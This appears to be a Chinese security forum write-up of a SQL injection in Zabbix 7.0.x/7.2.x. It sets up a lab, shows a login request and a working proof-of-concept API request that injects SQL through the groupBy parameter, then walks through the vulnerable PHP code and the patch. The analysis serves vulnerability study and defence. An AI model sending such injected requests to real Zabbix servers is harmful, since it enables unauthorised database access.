首发于奇安信攻防社区 https://forum.butian.net/article/690

前言

仅供学习交流,请勿用于非法行为

看到有公众号发了漏洞描述,但没有详情,直接分析一手

漏洞简介

Zabbix 是一款开源的网络监控和报警系统,用于监视网络设备、服务器和应用程序的性能和可用性。

一个具有 API 访问权限的低权限(常规)Zabbix 用户可以利用 include/classes/api/CApiService.php 中的 SQL 注入漏洞,通过 groupBy 参数执行任意 SQL 命令。

影响版本

image.png

7.0.0 <= zabbix <= 7.0.7

7.2.0 <= zabbix <= 7.2.1

环境搭建

访问https://cdn.zabbix.com/zabbix/appliances/stable/7.0/7.0.7/

image.png

选择 vmx.tar.gz 这个,解压双击.vmx 文件即可导入 vmware workstation

然后开机即可,访问机器ip 80端口即可看到 zabbix 登录页面,默认账号密码是root/zabbix

php 调试环境搭建

源码从 https://cdn.zabbix.com/zabbix/sources/stable/7.0/ 下载

这里和虚拟机一样用 7.0.7 版本的,漏洞修复前的版本方便 diff 源码

后续步骤可参考之前写的一篇文章https://forum.butian.net/article/639

里面有两处小错误

  • wget 虚拟机里面没内置,可以用 curl 替代
  • tar 也没内置,可以用 yum install -y tar 安装

需要注意的是改完 php.ini 后需要用 systemctl restart php-fpm 重启一下(因为这个浪费好多时间,😭)

漏洞复现

这个影响的是 include/classes/api/CApiService.php 这个文件的 applyQueryOutputOptions 方法,而提供 api 服务的各个类都继承了这个CApiService类,因此按道理调用了 parent::applyQueryOutputOptions()都是存在 SQL 注入利用可能的。这里选取了我们的老朋友,CUser 类

image.png

首先需要用账号密码获取 auth 字段,才能拿到 api 访问权限

1
2
3
4
5
6
7
8
9
POST /api_jsonrpc.php HTTP/1.1
Host: 192.168.182.130
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json-rpc
Content-Length: 106

{"jsonrpc": "2.0", "method": "user.login", "params": {"username": "Admin", "password": "zabbix"}, "id": 1}

image.png

带上获取到的 auth 字段,构造 Poc 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /api_jsonrpc.php HTTP/1.1
Host: 192.168.182.130
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json-rpc
Content-Length: 183

{
"jsonrpc": "2.0",
"method": "user.get",
"params": { "groupBy": ["roleid, version()", "roleid"], "userids": "1" },
"auth": "019e6c5b253ba57e8158df85bb6aaf0d",
"id": 1
}

image.png

漏洞分析

这里思路也很简单,直接 diff 源码看看改了什么

从刚刚搭建环境的源码链接中下一个 7.0.8 的

使用 vscode 插件 Compare Folders 进行 diff,可以轻松找到漏洞描述所说的地方

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
protected function applyQueryOutputOptions(string $table_name, string $table_alias, array $options,
array $sql_parts) {
$pk = $this->pk($table_name);
$pk_composite = strpos($pk, ',') !== false;

if (array_key_exists('countOutput', $options) && $options['countOutput']
&& !$this->requiresPostSqlFiltering($options)) {
$has_joins = count($sql_parts['from']) > 1
|| (array_key_exists('left_join', $sql_parts) && $sql_parts['left_join']);

if ($pk_composite && $has_joins) {
throw new Exception('Joins with composite primary keys are not supported in this API version.');
}

$sql_parts['select'] = $has_joins
? ['COUNT(DISTINCT '.$this->fieldId($pk, $table_alias).') AS rowscount']
: ['COUNT(*) AS rowscount'];

// Select columns used by group count.
if (array_key_exists('groupCount', $options) && $options['groupCount']) {
foreach ($sql_parts['group'] as $fields) {
$sql_parts['select'][] = $fields;
}
}
elseif (array_key_exists('groupBy', $options) && $options['groupBy']) {
foreach ($options['groupBy'] as $field) {
$field = $this->fieldId($field, $table_alias);

array_unshift($sql_parts['select'], $field);
$sql_parts['group'][] = $field;
}
}
}
elseif (array_key_exists('groupBy', $options) && $options['groupBy']) {
$sql_parts['select'] = [];

foreach ($options['groupBy'] as $field) {
$field = $this->fieldId($field, $table_alias);

array_unshift($sql_parts['select'], $field);
$sql_parts['group'][] = $field;
}
}
// custom output
elseif (is_array($options['output'])) {
$sql_parts['select'] = $pk_composite ? [] : [$this->fieldId($pk, $table_alias)];

foreach ($options['output'] as $field) {
if ($this->hasField($field, $table_name)) {
$sql_parts['select'][] = $this->fieldId($field, $table_alias);
}
}

$sql_parts['select'] = array_unique($sql_parts['select']);
}
// extended output
elseif ($options['output'] == API_OUTPUT_EXTEND) {
// TODO: API_OUTPUT_EXTEND must return ONLY the fields from the base table
$sql_parts = $this->addQuerySelect($this->fieldId('*', $table_alias), $sql_parts);
}

return $sql_parts;
}

protected function fieldId($fieldName, $tableAlias = null) {
$tableAlias = $tableAlias ? $tableAlias : $this->tableAlias();

return $tableAlias.'.'.$fieldName;
}

$options 就是我们可控的传参,很容易分析出 groupBy 字段可控时,可以控制 $sql_parts的 group

而在继承并调用的这个方法的类,如 CUser 类,会将 $sql_parts 解析为 sql 查询语句进行查询

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
protected static function createSelectQueryFromParts(array $sqlParts) {
$sql_left_join = '';
if (array_key_exists('left_join', $sqlParts)) {
$l_table = DB::getSchema($sqlParts['left_table']['table']);

foreach ($sqlParts['left_join'] as $left_join) {
$sql_left_join .= ' LEFT JOIN '.$left_join['table'].' '.$left_join['alias'].' ON ';
$sql_left_join .= array_key_exists('condition', $left_join)
? $left_join['condition']
: $sqlParts['left_table']['alias'].'.'.$l_table['key'].'='.
$left_join['alias'].'.'.$left_join['using'];
}

// Moving a left table to the end.
$table_id = $sqlParts['left_table']['table'].' '.$sqlParts['left_table']['alias'];
unset($sqlParts['from'][array_search($table_id, $sqlParts['from'])]);
$sqlParts['from'][] = $table_id;
}

$sqlSelect = implode(',', array_unique($sqlParts['select']));
$sqlFrom = implode(',', array_unique($sqlParts['from']));
$sqlWhere = empty($sqlParts['where']) ? '' : ' WHERE '.implode(' AND ', array_unique($sqlParts['where']));
$sqlGroup = empty($sqlParts['group']) ? '' : ' GROUP BY '.implode(',', array_unique($sqlParts['group']));
$sqlOrder = empty($sqlParts['order']) ? '' : ' ORDER BY '.implode(',', array_unique($sqlParts['order']));

return 'SELECT'.self::dbDistinct($sqlParts).' '.$sqlSelect.
' FROM '.$sqlFrom.
$sql_left_join.
$sqlWhere.
$sqlGroup.
$sqlOrder;
}

可以看到这里直接拼接到 SQL 语句中,而且还有一个细节,正常来说是 group by 后面的语句可控,那还不是那么好注入的,但但但是

image.png

这里给可控的 groupBy 字段给复制到了 select 后面那个 column 所在的 part,所以 poc 也很容易构造

image.png

修复补丁

这里修复的也很简单,就是在给 $sql_parts 赋值前检查这个表里面是否存在这个字段(比如 CUser 这个类的就是寻找 user 表)

而且他检查是否存在也是给整个表的字段查询出来然后用 isset 去判断的,也不存在 SQL 可控,所以就没法在这构造其他非预期的语句了

image.png

1
2
3
4
5
protected function hasField($fieldName, $tableName = null) {
$schema = $this->getTableSchema($tableName);

return isset($schema['fields'][$fieldName]);
}

结语

如有错误,请各位看官大佬多多指点

⬆︎TOP